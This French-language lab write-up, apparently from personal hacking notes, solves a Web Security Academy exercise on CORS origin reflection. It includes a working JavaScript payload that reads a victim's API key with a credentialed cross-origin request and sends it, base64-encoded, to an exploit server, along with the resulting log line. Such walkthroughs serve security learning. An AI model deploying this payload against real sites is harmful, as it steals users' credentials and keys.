> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cors/cors-basic-origin-reflection.md).

# Réflexion basique de l'origine CORS

### Vulnérabilité CORS avec réflexion basique de l'origine

En utilisant une configuration CORS trop permissive (le serveur fait confiance à n'importe quelle origine) pour récupérer la clé API de l'administrateur via une requête inter-origines avec `identifiants` et envoyer la réponse à notre serveur d'exploitation. L'exercice est résolu lorsque la clé API de l'administrateur est soumise au serveur d'exploitation.

<figure><img src="/files/9ee54a08c556e5b6080ea5bf08ef1fbe566b412f" alt=""><figcaption></figcaption></figure>

* Identifiants fournis pour se connecter : `wiener:peter`.
* Le code côté page récupère la clé API depuis `/accountDetails` et affiche :

```javascript
<script>
 fetch('/accountDetails', {credentials:'include'})
  .then(r => r.json())
  .then(j => document.getElementById('apikey').innerText = j.apikey)
</script>
```

<figure><img src="/files/815958cf96756453bbe89a0ee3fd6b91b5e12b08" alt=""><figcaption></figcaption></figure>

Les en-têtes indiquent `Access-Control-Allow-Credentials: true` (le serveur accepte les requêtes avec cookies/identifiants).

<figure><img src="/files/f54566dd828b53f42b8ee379ff9b45dbb17e0255" alt=""><figcaption></figcaption></figure>

* En testant une requête avec l' `Origin: jord4n.pro` en-tête, la réponse est renvoyée (l'origine réfléchie est acceptée).

```javascript
Origin: jord4n.pro
```

* Le serveur renvoie/autorise l'origine envoyée, donc une page contrôlée par l'attaquant peut effectuer une `XMLHttpRequest` ou `fetch` en `/accountDetails` en incluant les cookies de la victime (`withCredentials = true`) et récupérer la réponse JSON contenant la clé API.

<figure><img src="/files/ce5b1c3d991dd65c6d7eb9f724b8ab83581d14f4" alt=""><figcaption></figcaption></figure>

```javascript
<script>
  var req=new XMLHttpRequests();
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/9d490945329672fe7837efbc6dd875c74b77b82a" alt="" width="483"><figcaption></figcaption></figure>

Une fois la réponse lue, elle peut être transmise au serveur (par exemple en l'encodant en base64) pour être récupérée.

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = "https://exploit-0aca00f703c106bc82ac23560133003f.exploit-server.net/?apiKey=" + btoa(req.responseText);
};
  req.open("GET", "https://0a9d00860350062c82d5244e009500e7.web-security-academy.net/accountDetails", true);
  req.withCredentials = true;
  req.send();
</script>
```

<figure><img src="/files/9c5346043944b895df3b85a2a2db3605acb3d811" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
10.0.3.6        2025-10-29 20:19:37 +0000 "GET /?apiKey=ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIjg2cWk4Mnh2TUdDOUdyV2dYY1RPdUN4bnVCQU9Gd3VEIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiS240MzN2QVpqWU1WUTZTUE1JTmx4YzY5aHFjNVg1M24iCiAgXQp9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victime) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```

{% endcode %}

Le serveur d'exploitation a reçu une requête GET contenant la réponse encodée, par exemple :

<figure><img src="/files/2c0a2963e3d96b0f7544040a5091b6a170024c63" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/cors/cors-basic-origin-reflection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
